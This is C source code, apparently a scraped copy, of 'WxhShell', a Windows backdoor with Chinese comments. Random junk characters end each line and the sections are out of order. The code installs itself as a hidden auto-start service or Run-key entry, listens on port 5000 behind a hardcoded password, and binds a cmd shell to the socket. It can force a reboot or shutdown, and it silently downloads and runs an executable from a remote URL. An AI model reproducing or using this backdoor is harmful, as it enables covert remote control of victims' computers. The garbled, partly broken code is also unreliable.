  case 'd': { Y=/3_[G   
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); *>.~f<V  
    if(Boot(SHUTDOWN)) #m9V) 1"wB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #'z\[^vp  
    else { &..![,)w^!  
    closesocket(wsh); NWB/N*  
    ExitThread(0); hD58 s"L$  
    } nM8aC&Rd\  
    break; Zl"h-~31  
    } z'r.LBnh  
  // 获取shell WT(R =bLw  
  case 's': { ox {Cm  
    CmdShell(wsh); O*oL(dk*8L  
    closesocket(wsh); 3 Yl[J;i  
    ExitThread(0); =_cWCl^5  
    break; Pw /wAUt  
  } iZ[o2Tre  
  // 退出 ,%d n)gt7  
  case 'x': { RCNqHYR  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); V&KH{j/P  
    CloseIt(wsh); xPqpNs-,  
    break; n2-R[W^  
    } =}7wpTc,  
  // 离开 @N.W#<IG  
  case 'q': { zE.4e&m%Z?  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Fw:s3ON9}  
    closesocket(wsh); 9>le-}~  
    WSACleanup(); Fg4eIE-/M  
    exit(1); n<yV]i$  
    break; TO[5h Y\  
        } Q}]:lmqH  
  } 3v:RLnB  
  } ]-{T-*h:  
-$WiB  
  // 提示信息 {b/60xl?  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $if(`8  
} )'%L#  
  } oG@P M+{  
*goi^ Xp  
  return; I+O !<S B  
} vWfC!k-)b  
WP^%[?S2  
// shell模块句柄 )X\3bPDJR  
int CmdShell(SOCKET sock)  wSV[nK  
{ _* 4 <  
STARTUPINFO si; )#3 ,y6  
ZeroMemory(&si,sizeof(si)); XrSqU D  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; oB9Fas!N  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; !9iVe7V  
PROCESS_INFORMATION ProcessInfo; ,`+y4Z6`W2  
char cmdline[]="cmd"; RW>Z~Nj  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ? dSrY  
  return 0; +}4vdi"  
} ,O a)  
@uY%;%Pa8  
// 自身启动模式 {br4B7b  
int StartFromService(void) =]W{u`   
{ 5bmtUIj  
typedef struct )IZ$R*Y{  
{ # FaR?L![Y  
  DWORD ExitStatus; ~n"V0!:'4  
  DWORD PebBaseAddress; a3Es7R+S  
  DWORD AffinityMask; `p1`Sxz?  
  DWORD BasePriority; HdWghxz?)  
  ULONG UniqueProcessId; =#%e'\)a  
  ULONG InheritedFromUniqueProcessId; aKCCFHq t!  
}   PROCESS_BASIC_INFORMATION; D zDt:.JZ  
y L&n)   
PROCNTQSIP NtQueryInformationProcess; WHAEB1c#Q  
7\{<AM?*  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; l`$f@'k  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; {!oO>t  
Y]8l]l 1  
  HANDLE             hProcess; 2b|vb}|t{  
  PROCESS_BASIC_INFORMATION pbi; wZrdr4j  
Bfw>2  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); "{{xH*ij'  
  if(NULL == hInst ) return 0; o'Tqqrr  
i-E&Y*\^9H  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); )J#@L*  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 62vz 'b  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); JI\u -+BE  
vgE5(fJh  
  if (!NtQueryInformationProcess) return 0; PI0/=kS  
fvNGGn!  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); m@HU;J\I  
  if(!hProcess) return 0; XTW/3pB  
y'pG'"U]_  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 3wR5:O$H  
hDp'=}85@  
  CloseHandle(hProcess); ;oR-\;]/.  
5&94VQ$d  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); QX(:!b  
if(hProcess==NULL) return 0; <j,7Z>Rk\x  
OgfQGGc  
HMODULE hMod; E) z g,7Y  
char procName[255]; RNvtgZ}k{X  
unsigned long cbNeeded; de ](l687I  
 pd X9G  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); dwx1 EdJ{  
3U:0,-j"  
  CloseHandle(hProcess); M6?Qw=  
@RaMO#  
if(strstr(procName,"services")) return 1; // 以服务启动 wp*;F#:G  
GB[W'QGiq  
  return 0; // 注册表启动 K{|;'N-1  
} Q_uv.\*z_  
kP;Rts8JD  
// 主模块 z5Nw+#m| i  
int StartWxhshell(LPSTR lpCmdLine) ?on3z  
{ b$gDFNa  
  SOCKET wsl; S%%>&^5  
BOOL val=TRUE; CB|z{(&N  
  int port=0; :EA,0 ,  
  struct sockaddr_in door; 1uy+'2[Z-D  
<<;j=Yy({`  
  if(wscfg.ws_autoins) Install(); [9+M/O|Vs  
4L5Wa~5\  
port=atoi(lpCmdLine); 6'wP?=  
m&ZdtB|  
if(port<=0) port=wscfg.ws_port; }){hQt7  
 ;\iQZ~   
  WSADATA data; lXz<jt@5  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; cIgFSwQ 4  
jJ?3z ,h  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   LQ{4r1,u]  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); {ZfTUt)-P  
  door.sin_family = AF_INET; $fh?(J  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ,[ Ytl  
  door.sin_port = htons(port);  &$+yXN  
+p43d:[  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Vx#xq#wK  
closesocket(wsl); H-UMsT=g]  
return 1; (iS94}-)  
} z-,U(0 .  
_N<qrH^;  
  if(listen(wsl,2) == INVALID_SOCKET) { R(q fP  
closesocket(wsl); Y@.:U*  
return 1; }Rt<^oya*  
} &2) mpY8xQ  
  Wxhshell(wsl); .eeM&n;c  
  WSACleanup(); 74Kl!A  
WnIh( 0  
return 0; E26ZVFg  
1[}VyP6 e  
} @7BH`b$)!  
~^3B(feQ]  
// 以NT服务方式启动 f 8uVk|a  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ^R2:Z&Iv%  
{ I.( 9{  
DWORD   status = 0; "+HZ~:~f  
  DWORD   specificError = 0xfffffff; 4z$ eT  
b9\=NdyCY  
  serviceStatus.dwServiceType     = SERVICE_WIN32; lR-4"/1|y  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 8`*`4m  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; r<b g->lX  
  serviceStatus.dwWin32ExitCode     = 0; i@g6%V=  
  serviceStatus.dwServiceSpecificExitCode = 0; lFRgyEPH  
  serviceStatus.dwCheckPoint       = 0; w\\    
  serviceStatus.dwWaitHint       = 0; 8taaBM`:  
OY@/18D<>  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); f:HRrKf9  
  if (hServiceStatusHandle==0) return; zfxxPL'  
KD#ip3  
status = GetLastError(); \GPWC}V\s  
  if (status!=NO_ERROR) CP={|]>+S  
{ h7%<  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ;,IGO7R  
    serviceStatus.dwCheckPoint       = 0; _/PjeEm $p  
    serviceStatus.dwWaitHint       = 0; b2:CFtH5  
    serviceStatus.dwWin32ExitCode     = status; 7, O_'T &  
    serviceStatus.dwServiceSpecificExitCode = specificError; Z/2#h<zj  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,>e<mphM  
    return; &{7%Vs TB  
  } W}T$Z  
*d)B4qG  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ;%Z)$+Z_)<  
  serviceStatus.dwCheckPoint       = 0; o{ U= f6  
  serviceStatus.dwWaitHint       = 0; -lLq)  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Qy9#(596  
} OvQG%D}P=  
'jfI1 ]q  
// 处理NT服务事件,比如:启动、停止 a7M8sZ?"  
VOID WINAPI NTServiceHandler(DWORD fdwControl) iXXgPapz  
{ PY) 74sa  
switch(fdwControl) .+ _x|?'  
{ xe_c`%_  
case SERVICE_CONTROL_STOP: %)]{*#N4  
  serviceStatus.dwWin32ExitCode = 0; 7MBz&wE^f  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; n.Ekpq\  
  serviceStatus.dwCheckPoint   = 0; ,@GI3bl  
  serviceStatus.dwWaitHint     = 0; jagsV'o2  
  { V}Oxz04  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); SVeL c  
  } zvSfW# *  
  return; 6LUB3;g7  
case SERVICE_CONTROL_PAUSE: ;[%AeN5W  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; E?%rmdyhL!  
  break; mGoUF$9 k  
case SERVICE_CONTROL_CONTINUE: UF0PWpuO  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; rw58bkh6  
  break; QCMt4`% 'u  
case SERVICE_CONTROL_INTERROGATE: Q?Q!D+~mND  
  break; ^gD&NbP8  
}; wl}Q|4rZ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^F_c'  
} 7eZ,; x  
+jQW6k#  
// 标准应用程序主函数 .p <!2   
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 3rOv j&2  
{ f`vB$r>  
])vM# f  
// 获取操作系统版本 z,$^|'pP  
OsIsNt=GetOsVer(); ofRe4 *\j  
GetModuleFileName(NULL,ExeFile,MAX_PATH); UDGVq S!,E  
gh3_})8c  
  // 从命令行安装 8BBuYY {  
  if(strpbrk(lpCmdLine,"iI")) Install(); $FS j^v]  
ys09W+B7  
  // 下载执行文件 ~ M@8O  
if(wscfg.ws_downexe) { _18) XR  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) dd_n|x1  
  WinExec(wscfg.ws_filenam,SW_HIDE); i. 6c;KU  
} Wc#4%kT  
U%m,:b6V  
if(!OsIsNt) { _@SC R%  
// 如果时win9x,隐藏进程并且设置为注册表启动 uBH4E;[f  
HideProc(); Qp]V~s(  
StartWxhshell(lpCmdLine); arRb q!mO  
} ZC@Pfba[`  
else <D!"<&N  
  if(StartFromService()) !-p5j3A4L  
  // 以服务方式启动 >pUR>?t"  
  StartServiceCtrlDispatcher(DispatchTable); CKy' 8I9  
else 8)/d8@  
  // 普通方式启动 J?LetyDNr]  
  StartWxhshell(lpCmdLine); oyK'h9Wt1  
<U$x')W  
return 0; <Y9e n!3\  
} GK~uoz:^O  
t#=W'HyW8  
|+f@w/+  
F7x]BeTM  
=========================================== /Rf:Z.L  
<0T|RhbY   
6 -N 442  
(gQP_Oa(  
Rcc9Tx(zvQ  
xo a1='  
" 3c}@_Yn  
f;x0Ho5C2  
#include <stdio.h> Jx!#y A;  
#include <string.h> YZMSiDv[e  
#include <windows.h> F}wy7s2i  
#include <winsock2.h> Z8%?ej`8  
#include <winsvc.h> d)1 d0ES  
#include <urlmon.h> SFv'qDA  
g1Ed:V]_  
#pragma comment (lib, "Ws2_32.lib") -U.>K,M  
#pragma comment (lib, "urlmon.lib") 9sJ=Nldq  
TkBHlTa"=  
#define MAX_USER   100 // 最大客户端连接数 gNUYHNzDM(  
#define BUF_SOCK   200 // sock buffer u%!/-&?wF  
#define KEY_BUFF   255 // 输入 buffer GRM6H|.  
;G.5.q[A  
#define REBOOT     0   // 重启 nl5A{ s  
#define SHUTDOWN   1   // 关机 #oW" 3L{,  
0Ta&o-e  
#define DEF_PORT   5000 // 监听端口 -n FKP&P  
X|y(B%:  
#define REG_LEN     16   // 注册表键长度 vJ9I z  
#define SVC_LEN     80   // NT服务名长度 ^m~&2l\N=  
iO+,U}&  
// 从dll定义API r2yJ{j&s  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ti'B}bH>'  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Bs)'Gk`1  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 0Un?[O  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 0$ JH5RC  
^F,sV*  
// wxhshell配置信息 B\S}*IE  
struct WSCFG { B>.x@(}V~  
  int ws_port;         // 监听端口 & OYo  
  char ws_passstr[REG_LEN]; // 口令 x<5ARK6\=  
  int ws_autoins;       // 安装标记, 1=yes 0=no %|j`z?i|  
  char ws_regname[REG_LEN]; // 注册表键名 /9ctmW1!<  
  char ws_svcname[REG_LEN]; // 服务名 U}@xMt8@l  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 *IX<&u#  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 v|\3FEu@  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 `>)[UG!:|  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 2Pow-o*r  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" )G#mC0?PV  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 /| q .q  
ysapvQN_6  
}; VWq]w5oQO  
vMd3#@  
// default Wxhshell configuration o1`\*]A7J  
struct WSCFG wscfg={DEF_PORT, I+=+ ,iXhB  
    "xuhuanlingzhe", b:Z&;A|"{  
    1, A:y HClmn  
    "Wxhshell", 3P@D!lV&K  
    "Wxhshell", E75/EQ5p]p  
            "WxhShell Service", 3ew4QPT'  
    "Wrsky Windows CmdShell Service", wU6sU]P  
    "Please Input Your Password: ", m< H{@ZgN(  
  1, n,U?]mr  
  "http://www.wrsky.com/wxhshell.exe", ZDg(D"  
  "Wxhshell.exe" KpA1Ac)T  
    }; ?4A/?Z]ub  
H-vHcqFx3  
// 消息定义模块 B (Ps/  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; cbN;Kv?ak}  
char *msg_ws_prompt="\n\r? for help\n\r#>"; m g,1*B'  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ^/_Yk.w  
char *msg_ws_ext="\n\rExit."; /~M H]Gh  
char *msg_ws_end="\n\rQuit."; o^XDG^35`  
char *msg_ws_boot="\n\rReboot..."; SQ_Je+X  
char *msg_ws_poff="\n\rShutdown..."; Q$uv \h;  
char *msg_ws_down="\n\rSave to "; Kci. ,I  
WQ{[q" O  
char *msg_ws_err="\n\rErr!"; `78Bv>[A  
char *msg_ws_ok="\n\rOK!"; ~)^'5^  
;z.L^V0  
char ExeFile[MAX_PATH]; |BbzRis  
int nUser = 0; dvZH~mF  
HANDLE handles[MAX_USER]; (:aU"5M  
int OsIsNt; dgL>7X=7  
 D|)a7_  
SERVICE_STATUS       serviceStatus; OvAhp&k  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; +$|fUn{  
W:,Wex^9n  
// 函数声明 K>dB{w#gS  
int Install(void); om`T/@_,  
int Uninstall(void); D"rbQXR7$  
int DownloadFile(char *sURL, SOCKET wsh); V"m S$MN  
int Boot(int flag); &\1n=y  
void HideProc(void); Jy5sZ }t[  
int GetOsVer(void); u<Y#J,p`e  
int Wxhshell(SOCKET wsl); P 0e-v0  
void TalkWithClient(void *cs); jMgXIK\  
int CmdShell(SOCKET sock); GlnO8cAB  
int StartFromService(void); yVII<ImqIH  
int StartWxhshell(LPSTR lpCmdLine); xNzGp5H  
Nai5!_'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); d{"-iw)t  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ,$0-I@*V  
'`3#FCg  
// 数据结构和表定义 @@)2 12  
SERVICE_TABLE_ENTRY DispatchTable[] = odCt6Du  
{ MfP)Pk5  
{wscfg.ws_svcname, NTServiceMain}, PD)"od  
{NULL, NULL} T9C_=0(hn  
}; 0?<#!  
z$e6T&u5B  
// 自我安装 Pg%9hejf3  
int Install(void) ? 3=G'Ip5n  
{ %WgN+A0  
  char svExeFile[MAX_PATH]; OvtE)u l@  
  HKEY key; DMM<,1  
  strcpy(svExeFile,ExeFile); J0?kEr  
|M7cB$y  
// 如果是win9x系统,修改注册表设为自启动 qx t0Jr8  
if(!OsIsNt) { ")T\_ME  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { LWyr  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); g w" \pD  
  RegCloseKey(key); N-gYamlQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /]_t->  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {drc}BL_  
  RegCloseKey(key); 5~|{:29X  
  return 0; Snx!^4+MF  
    } a YWWln  
  } $VuXr=f}  
} ){*+s RBW  
else { c2y,zq|H  
2yZr!Rb~*  
// 如果是NT以上系统,安装为系统服务 "f,{d}u  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); "2l`XH  
if (schSCManager!=0) @1MnJP  
{ "9wD|wsz  
  SC_HANDLE schService = CreateService Dwp,d~z  
  ( m^k0j/  
  schSCManager, !y= R)k  
  wscfg.ws_svcname, -QrC>3xZR  
  wscfg.ws_svcdisp, V)j[`,M:  
  SERVICE_ALL_ACCESS, -L1785pB85  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , T3X'73M  
  SERVICE_AUTO_START, +(W1x C0  
  SERVICE_ERROR_NORMAL, FJ:^pROpm  
  svExeFile, w&q[%(G_  
  NULL, !sb r!Qt  
  NULL, UFG_ZoD+  
  NULL, uu9M}]mDl  
  NULL, V ~C$|+>e  
  NULL ffZ~r%25{  
  ); 5E&#Kh(I  
  if (schService!=0) Z0F~?  
  { ,#K/+T  
  CloseServiceHandle(schService); n0xGIq  
  CloseServiceHandle(schSCManager); Oynb "T&8  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); *m~-8_ >;  
  strcat(svExeFile,wscfg.ws_svcname); Vw;Z0_C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { '<R>cN"  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); R4m {D  
  RegCloseKey(key); 5*AXL .2ih  
  return 0; Zt`Tg7m  
    } o*S_"  
  } D 2X_Yv  
  CloseServiceHandle(schSCManager); xN1P#  
} P {TJ$  
} cHs3:F~~  
/Mqhx_)>A  
return 1; `(e :H  
} U1[)eD`  
M:S-%aQ_<y  
// 自我卸载 \N,ox(f?gW  
int Uninstall(void) 9)Fx;GxL  
{ tt"<1 z@  
  HKEY key; NRi5 Vp2=  
c-a,__c?hx  
if(!OsIsNt) { a=iupXre9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { b/wpk~qi  
  RegDeleteValue(key,wscfg.ws_regname); |9CikLX)7  
  RegCloseKey(key);  I//=C6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { g.lTNQm$u  
  RegDeleteValue(key,wscfg.ws_regname); *'%V}R[>  
  RegCloseKey(key); &Y]':gJ  
  return 0; +y GQt3U  
  } ,T$ts  
} qJhsMo2IH  
} 1Kg0y71"  
else { f7Gn$E|/r;  
d1b] +AG4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ;cor\ R  
if (schSCManager!=0) LdPLC':}x|  
{ qt/K$'  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); "-J 5!y*,Y  
  if (schService!=0) 4&/CES  
  { JU 9GJ"  
  if(DeleteService(schService)!=0) { 22gh!F%)  
  CloseServiceHandle(schService); j[>cv;h ;  
  CloseServiceHandle(schSCManager); *{g3ia  
  return 0; 3H,E8>Vd  
  } jvzioFCt  
  CloseServiceHandle(schService); #36Q O  
  } oQ!M+sRmF  
  CloseServiceHandle(schSCManager); :E:e ^$p  
} mk-{@$QJb  
} XzUGlrp:Y#  
'xwCeZcg  
return 1; 1U 6B$(V^i  
} 7]ieBUf S  
0> f!S` *  
// 从指定url下载文件 h9vcN#22D  
int DownloadFile(char *sURL, SOCKET wsh) @:lM|2:  
{ nM,:f)z  
  HRESULT hr; O'y8q[2KE  
char seps[]= "/"; i+_LKHQN  
char *token; SQKhht`M  
char *file; dmFn0J-\  
char myURL[MAX_PATH]; NYm"I`5w  
char myFILE[MAX_PATH]; !`DRJ)h  
I \:WD"  
strcpy(myURL,sURL); &V"oJ}M/a  
  token=strtok(myURL,seps); ZnG.::&:  
  while(token!=NULL) V Z(/g"9  
  {  bGRt  
    file=token; qQ@| Cj  
  token=strtok(NULL,seps); v+c>iI  
  } d2k-MZuT6  
K/Q"Z*  
GetCurrentDirectory(MAX_PATH,myFILE); _( W@FS  
strcat(myFILE, "\\"); dG\ wW@}J  
strcat(myFILE, file); YeH!v, >  
  send(wsh,myFILE,strlen(myFILE),0); 1W^hPY  
send(wsh,"...",3,0); y<)TYr  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); vOQ% f?%G\  
  if(hr==S_OK) @Nu2 :~JO  
return 0; 91-bz^=xO  
else Up9{aX  
return 1; Bo 35L:r|  
L@}PW)#  
} 7)66e  
0-2|(9 Kc  
// 系统电源模块 ,:_c-d#  
int Boot(int flag) h$cm:uks  
{ R4?>C-;  
  HANDLE hToken; $a(-r-_Fi]  
  TOKEN_PRIVILEGES tkp; tne_]+  
sZ;|NAx)  
  if(OsIsNt) { D6 B-#u!M  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); @^{Hq6_`  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 2 $>DX\h  
    tkp.PrivilegeCount = 1; Z\&f"z?L  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; b 2gng}  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); h Yu6PWK  
if(flag==REBOOT) { Z;0~f<e%  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) X{9^$/XsJ  
  return 0; nl@an!z  
} |Uh8b %  
else { #&3,T1i`  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) r pNb.  
  return 0; O-iE0t  
} 4{VO:(geZ  
  } /y$Omc^  
  else { hor7~u+  
if(flag==REBOOT) { d} >Po%r:  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) bIQ,=EA1  
  return 0; x4_IUIgh  
} qJ ey&_  
else { q"2QNF'  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) v.0qE}' |  
  return 0; MKK ^-T  
} g \mE  
} N0`9/lr|  
!_W:%t)g  
return 1; blO4)7m  
} 2q f|+[X  
@gUp9ZwtH  
// win9x进程隐藏模块 U,P_bz*)  
void HideProc(void) k.J%rRneN  
{ [4)Oi-_Y>  
BN/ 4O?jD9  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ;vn0%g  
  if ( hKernel != NULL ) ( ?FH`<  
  { [W[{ 4 Xu  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); bS_#3T  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ~.a"jYb7A}  
    FreeLibrary(hKernel); ggso9ZlLu+  
  } WBe0^=x  
FO{=^I5YA  
return; 1 ZdB6U0  
} %6K7uvTq  
t)SZ2G1r  
// 获取操作系统版本 |IxHtg3>6{  
int GetOsVer(void) r]B8\5|<d  
{ 2y [Q  
  OSVERSIONINFO winfo; =8FvkNr  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); W4$o\yA]  
  GetVersionEx(&winfo); n#_B4UqW%  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) u{1R=ML  
  return 1; Ky3mz w|  
  else 2& Q\W  
  return 0; lu utyK!  
} qF)J#$4;6  
u?').c4  
// 客户端句柄模块 :e1h!G  
int Wxhshell(SOCKET wsl) pEyZH!W  
{ I&PJ[U#~a  
  SOCKET wsh; )f8>kz(  
  struct sockaddr_in client; u@a){ A(P  
  DWORD myID; y\Wn:RR1[  
2+]5}'M  
  while(nUser<MAX_USER) ,EqQU|  
{ "Ih3  
  int nSize=sizeof(client); HU0.)tD  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); #G9 W65f  
  if(wsh==INVALID_SOCKET) return 1; sz7*x{E  
kc'$4 J4Tw  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ! j~wAdHk  
if(handles[nUser]==0) DP_b9o \5  
  closesocket(wsh); Iix,}kzss  
else vHaM yA-  
  nUser++; Bfb~<rs[  
  } ct+F\:e  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); $QbJT`,mr  
q~{) {t;  
  return 0; c r=Q39{  
} gC7!cn  
`Fqth^RK?p  
// 关闭 socket RB>=#03  
void CloseIt(SOCKET wsh) K)SWM3r  
{ #*A'<Zm  
closesocket(wsh); /<[0o]  
nUser--; >a3m!`lq  
ExitThread(0); nnlj#  
} Z[O hZ 9  
eqtZU\GI>  
// 客户端请求句柄 HcRw9,I'  
void TalkWithClient(void *cs) dCx63rF`G  
{ uYW4$6S 3  
>`QBN1 Y  
  SOCKET wsh=(SOCKET)cs; l5z//E}W  
  char pwd[SVC_LEN]; rFzNdiY  
  char cmd[KEY_BUFF]; W]4Z4&  
char chr[1]; zDF Nx:h  
int i,j; GrF4*I`q  
<H64L*,5'7  
  while (nUser < MAX_USER) { :8S;34Y;  
74e=zW?  
if(wscfg.ws_passstr) { 0nc(2Bi  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); hB [bth  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); vNi;)"&*  
  //ZeroMemory(pwd,KEY_BUFF); ^}  {r@F  
      i=0; *F$@!ByV  
  while(i<SVC_LEN) { )x-b+SC  
s,R:D).  
  // 设置超时 T CT8OU|  
  fd_set FdRead; 74^v('-2  
  struct timeval TimeOut; =By@%ioIGG  
  FD_ZERO(&FdRead); n"iS[uj,  
  FD_SET(wsh,&FdRead); *%uzLW0  
  TimeOut.tv_sec=8; U~ X  
  TimeOut.tv_usec=0; E}wT5t;u  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); C-pR$WM:HN  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); \g0vzo"u  
9.)z]Gav  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); zC50 @S3|  
  pwd=chr[0]; ?NE/ }?a  
  if(chr[0]==0xd || chr[0]==0xa) { [$3+5K#  
  pwd=0; 2V~E <K-  
  break; Om.%K>V  
  } /gAT@Vx  
  i++; ^f[6NYS?  
    } l|q-kRRjn  
AA\)BNM  
  // 如果是非法用户,关闭 socket t 7Y*/v&P(  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); |bk9< i ?  
} ~[=<O s  
S1|5+PPs  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 6R :hsC$  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); w!lk&7Q7Z  
zJXK:/  
while(1) { 2poo@]M/  
):N#X<b':  
  ZeroMemory(cmd,KEY_BUFF); la;*>  
d&3"?2 IQ  
      // 自动支持客户端 telnet标准   Q{~g<G  
  j=0; y&(#C:N  
  while(j<KEY_BUFF) { y;o - @]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2ZxhV4\  
  cmd[j]=chr[0]; 1zRYd`IPoq  
  if(chr[0]==0xa || chr[0]==0xd) { l]G iz&  
  cmd[j]=0; si&du  
  break; # WjQ'c:  
  } $:I{  
  j++; T]wC?gQG  
    } 'VV U-)(8  
9!Av sC9  
  // 下载文件 _l{~O  
  if(strstr(cmd,"http://")) { |GMo"[  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); $SQ$2\iC  
  if(DownloadFile(cmd,wsh)) [IHo ~   
